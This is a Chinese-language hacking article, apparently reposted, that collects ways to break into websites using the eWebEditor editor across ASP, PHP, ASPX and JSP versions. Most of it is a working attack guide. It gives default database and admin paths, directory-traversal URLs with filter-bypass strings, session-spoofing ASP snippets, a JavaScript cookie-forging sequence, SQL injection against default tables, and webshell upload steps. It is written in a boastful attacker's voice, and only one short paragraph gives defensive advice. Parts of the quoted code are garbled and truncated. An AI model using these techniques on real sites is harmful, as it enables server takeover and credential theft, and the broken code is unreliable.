2023年7月14日发(作者：)

Ewebeditor的⼀些漏洞总结推荐于是像windows⼀样被⿊客们挖掘出很多漏洞，⼤家莫急，笔者Minghacker总结前⼈基础，⼀⼀道来。

对于⽬前asp版本的ewebeditor编辑器漏洞主要分为以下7点：

默认，遍历⽬录漏洞，⼀句话，注⼊，构造，cookie欺骗，社⼯（踩脚印⼊侵），

itor编辑器⼀般默认数据库路径是db/

默认的后台路径是admin_

建议最好检测下admin_⽂件是否可以直接访问

举例

有个细节需要注意：

有抄袭版的；SouthidcEditor

数据库

没登陆页⾯。

利⽤⽅法：页⾯传图⽚⼩马，nc提交，得shell

NO2.遍历⽬录漏洞（具体如下）：

登陆编辑器---上传⽂件管理---选择样式⽬录(随便选⼀个⽬录)

得到:

ewebeditor/admin_?id=14

在id=14后⾯添加&dir=..

再加 &dir=../..

&dir=../../../.. 看到整个⽹站⽂件了

此漏洞危害⼤⼤的，绝对恐怖

NO3.当数据库被管理员修改为asp、asa后缀的时候，可以插⼀句话⽊马服务端进⼊数据库，然后⼀句话⽊马客户端连接拿下webshell

NO4.有的时候爆了数据库找不到后台地址让⼈发急，其实可以试试查看样式表，有没别⼈加⼊的asp、asa后缀样式表，也就是虽说的踩着脚印⼊侵。

还有的时候聪明的管理员也就是加“#”不妨社⼯试试，我可没少占便宜的

例如:db/#、db/# 、db/#

NO5.注⼊2.1.6的注⼊就不多说了，如下保存为html⽂件修改action，直接上传cer马

ewebeditor asp版 2.1.6 上传漏洞利⽤程序----

有次⽆意的⼊侵使我发现了ewebeditor2.7.0版本的存在注⼊漏洞

简单利⽤就是

site/path/ewebeditor/?id=article_content&style=full_v200

默认表名：eWebEditor_System默认列名：sys_UserName、sys_UserPass，然后利⽤nbsi进⾏猜解，对此进⾏注⼊取得账号密码

NO6.有的时候管理员不让复制样式，但是你⼜看到有个样式被别⼈以前⼊侵修改了存在asa或者之类可以传shell，但是上传插⼊⼯具没有，⼜⽆法修改怎么办那？也许很多⼈说应该可以加⼯具栏，但是我就遇见过不让加的

这样我们可以利⽤ewebeditor⾥的⽂件进⾏本地构造进⾏上传具体如下：

在action下⾯

------------------------------------------------------------------------------------------------------------------------------------------------

放在action后头

，适合⽤于在ewebeditor后台那个预览那⾥出来的⽐如上传图⽚那⾥，有些时候上传页⾯弹不出来，就可以⽤?action=save&type=ASA&style=test 这个本地来提交，不过这个东西还是要数据库⾥上传类型有ASA才可以传得上。

NO.7还有种⽅式是最近坏客发现的

利⽤WebEditor session欺骗漏洞,进⼊后台:

漏洞⽂件:Admin_

漏洞语句:

If Session("eWebEditor_User") = "" Then

ct "admin_"

End If

只判断了session，没有判断cookies和路径的验证问题。

漏洞利⽤:

新建⼀个内容如下:

<%Session("eWebEditor_User") = "11111111"%>

访问，再访问后台任何⽂件，for example:Admin_

　　⾯对此种威胁⽹站管理员应该做好如下的防范措施：

　　1、使⽤了eWebEditor编辑器的⽹站，应及时修改该编辑器的默认数据库路径和后缀名，建议数据库多⽅⼏层⽬录，防⽌数据库被⿊客⾮法下载

　　2、修改编辑器后台登陆路径和默认的登陆⽤户名和密码，防⽌⿊客进⼊后台管理界⾯

　　3、对语句进⾏修改,防⽌⿊客利⽤其上传ASP⽊马从⽽获得WEB权限

4、及时对⽹站服务器IIS配置中的应⽤程序扩展名映射进⾏整理，确保其它类型的⽂件不能在服务器⽹站上运⾏

ewebeditor 5.2 列⽬录漏洞

出现漏洞的⽂件存在于ewebeditor/asp/ ASP/Visual Basic代码

Function GetList()

Dim s_List, s_Url

s_List = ""

Dim oFSO, oUploadFolder, oUploadFiles, oUploadFile, sFileName

' sCurrDir

'On Error Resume Next

Set oFSO = Object("stemObject")

Set oUploadFolder = der(h(sCurrDir))

'注意⼀下sCurrDir变量,这个值等下我们可以⽤到

If >0 Then

s_List = ""

Exit Function

End If

If sDir <> "" Then

If InstrRev(sDir, "/") > 1 Then

s_Url= Left(sDir, InstrRev(sDir, "/") - 1)

Else

s_Url = ""

End If

s_List = s_List & "" & _

"" & _

".." & _

" " & _

End If

' sDir&"!"&s_List

Dim oSubFolder

For Each oSubFolder In ders

' ders

If sDir = "" Then

s_Url =

Else

s_Url = sDir & "/" &

End If

s_List = s_List & "" & _

"" & _

"" & & "" & _

" " & _

' s_List

Set oUploadFiles =

For Each oUploadFile In oUploadFiles

sFileName =

If CheckValidExt(sFileName) = True Then

'这⾏让⼈有点郁闷,检测了所有允许的⽂件后缀,如不允许就⽆法列出,不然就不只列出⽬录名和图⽚⽂件了

If sDir = "" Then

s_Url = sContentPath & sFileName

Else

s_Url = sContentPath & sDir & "/" & sFileName

End If

s_List = s_List & "" & _

"" & FileName2Pic(sFileName) & "" & _

"" & sFileName & "" & _

"" & GetSizeUnit() & "" & _

End If

Set oUploadFolder = Nothing

Set oUploadFiles = Nothing

' code(s_List)&"!"&s_Url

If sDir = "" Then

s_Url = ""

's_Url = "/"

Else

s_Url = "/" & sDir & ""

's_Url = "/" & sDir & "/"

End If

s_List = s_List & ""

s_List = HTML2JS(s_List)

' code(s_List)&"!"&s_Url

s_List = "List(""" & s_List & """, """ & s_Url & """)"

GetList = s_List

End Function

'如果没有下⾯这步检测的话,应该就可以列出⽬录中所有的⽂件了,有点郁闷..现在只能列出允许后缀的⽂件和⽬录名

Function CheckValidExt(s_FileName)

If sAllowExt = "" Then

CheckValidExt = True

Exit Function

End If

Dim i, aExt, sExt

sExt = LCase(Mid(s_FileName, InStrRev(s_FileName, ".") + 1)) CheckValidExt = False

aExt = Split(LCase(sAllowExt), "|")

For i = 0 To UBound(aExt)

If aExt(i) = sExt Then

CheckValidExt = True

Exit Function

End If

End Function

'我们顺着代码往下找,发现sCurrDir的值是通过下⾯的值得到的

Sub InitParam()

sType = UCase(Trim(tring("type")))

sStyleName = Trim(tring("style"))

Dim i, aStyleConfig, bValidStyle

bValidStyle = False

For i = 1 To Ubound(aStyle)

aStyleConfig = Split(aStyle(i), "|||")

If Lcase(sStyleName) = Lcase(aStyleConfig(0)) Then

bValidStyle = True

Exit For

End If

If bValidStyle = False Then

OutScript("alert('Invalid Style.')")

End If

sBaseUrl = aStyleConfig(19)

'nAllowBrowse = CLng(aStyleConfig(43))

nAllowBrowse = 1

If nAllowBrowse <> 1 Then

OutScript("alert('Do not allow browse!')")

End If

sUploadDir = aStyleConfig(3)

If Left(sUploadDir, 1) <> "/" Then

Select Case sType

Case "REMOTE"

sUploadDir = "../../" & sUploadDir & "Image/"

Case "FILE"

sUploadDir = "../../" & sUploadDir & "Other/"

Case "MEDIA"

sUploadDir = "../../" & sUploadDir & "Media/"

Case "FLASH"

sUploadDir = "../../" & sUploadDir & "Flash/"

Case Else

sUploadDir = "../../" & sUploadDir & "Image/"

End Select

End If

'sUploadDir =sUploadDir &"/"

Select Case sBaseUrl

Case "0"

'sContentPath = aStyleConfig(23)

Select Case sType

Case "REMOTE"

sContentPath = "../" & aStyleConfig(3) & "Image/"

Case "FILE"

sContentPath = "../" & aStyleConfig(3) & "Other/"

Case "MEDIA"

sContentPath = "../" & aStyleConfig(3) & "Media/"

Case "FLASH"

sContentPath = "../" & aStyleConfig(3) & "Flash/"

Case Else

sContentPath = "../" & aStyleConfig(3) & "Image/"

End Select

Case "1"

sContentPath = RelativePath2RootPath(sUploadDir)

Case "2"

sContentPath = RootPath2DomainPath(RelativePath2RootPath(sUploadDir))

End Select

Select Case sType

Case "REMOTE"

sAllowExt = aStyleConfig(10)

Case "FILE"

sAllowExt = aStyleConfig(6)

Case "MEDIA"

sAllowExt = aStyleConfig(9)

Case "FLASH"

sAllowExt = aStyleConfig(7)

Case Else

sAllowExt = aStyleConfig(8)

End Select

sCurrDir = sUploadDir '注意这⾥,这个是得到了配置的路径地址

sDir = Trim(Request("dir")) '得到dir变量

sDir = Replace(sDir, "", "/") '对dir变量进⾏过滤

sDir = Replace(sDir, "../", "")

sDir = Replace(sDir, "./", "")

If sDir <> "" Then

If CheckValidDir(h(sUploadDir & sDir)) = True Then sCurrDir = sUploadDir & sDir & "/"

'重点就在这⾥了,看到没有,当sUploadDir & sDir存在的时候,sCurrDir就为sUploadDir & sDir的值了

'虽然上⾯对sDir进⾏了过滤,不过我们完全可以跳过.具体利⽤st0p会在下⾯的利⽤中给出

Else

sDir = ""

End If

End Sub

嘿嘿,看到这你应该明⽩了,其实就是对dir过滤的问题,我们完全可以构造特殊的值来跳过验证,这样就可以得到⽬录结构和显⽰设置⽂件中允许的⽂件后缀的⽂件了..

利⽤⽅法如下

/ewebeditor/asp/?style=standard650&dir=…././/..

由于st0p测试的时候,上传⽬录是根⽬录下的uploadfile,通过上⾯的地址就可以得到根⽬录下的所有⽬录了.

嘿嘿,如果你发现打开的时候显⽰的是空⽩,不要灰⼼,这就对了,直接查看源代码,看到了吗,⾥⾯就有你根⽬录的⽬录名字了.

嘿嘿,他根⽬录下有个guest⽬录,我们通过下⾯的地址可以列出他下⾯的结构

/ewebeditor/asp/?style=standard650&dir=…././/…././/guest

然后我们也可以通过

/ewebeditor/asp/?style=standard650&dir=…././/../…././/..

可以往更上层跳,我测试的那个虚拟主机,得到的是www,logfile,datebase这三个⽬录.

eWebEditorv5.5asp存在session欺骗漏洞！

记得以前eWebEditor在线编辑器有个session欺骗漏洞没想到5.5版本也存在！

代码如下：

'登录检查

Function ChkLogin()

If session("editor_admin")="" Or IsNull(session("editor_admin")) Then

PhilLogin()

ge = session("PreCodePage")

End If

End Function

呵呵很明显和以前的版本漏洞⼀样！

只是判断了session.

利⽤⽅法：

新建⽴个内容为

<%Session("editor_admin") = "admin"%>

然后访问最后访问登陆⽂件.刷新ok进去了...

要进⾏这种Session欺骗，必须有三个前提:

1．进⾏欺骗的⽹页和被欺骗的⽹页必须位于同⼀个⽹站内.

2．必须知道管理页⾯。

3．必须知道Session变量以及它的限制条件。

php版ewebeditor 3.8的漏洞

php版本后台是调⽤../ewebeditor/admin/,⼤家去看下源码就知道，在这⾥我说说利⽤⽅法:

1 ⾸先当然要找到登陆后台,默认是../eWebEditor/admin/,进⼊后台后随便输⼊⼀个⽤户和密码,当然会提⽰出错了,必须是出错的时候，然后这时候你清空浏览器的url,然后输⼊javascript:alert(=”adminuser=”+escape(”admin”));javascript:alert(=”adminpass=”+escape(”admin”));javascript:alert(=”admindj=”+escape(”1″));后三次回车,

2 然后输⼊正常情况才能访问的⽂件../ewebeditor/admin/就可以进后台了

3 后⾯的利⽤和asp⼀样,新增样式修改上传,就ok了

测试⼀下asp 2.8版本的,竟然⼀样可以⽤,爽,看来asp版的应该可以通杀(只测试2.8的,貌似2.8是最⾼版本的)

aspx的版本../ewebeditor/admin/添好本地的cer的Shell⽂件,在浏揽器输⼊javascript:();就能得到shell

jsp的上传漏洞以及那个出了N久了,由于没有上传按钮,选择好要上传的shell,直接回车就可以了

哈哈,以后只要ewebeditor的后台可以找到的话,就可以通杀了所以这个漏洞还是⽐较酷，建议收藏

发布者：admin，转转请注明出处：http://www.yc00.com/xiaochengxu/1689309227a228496.html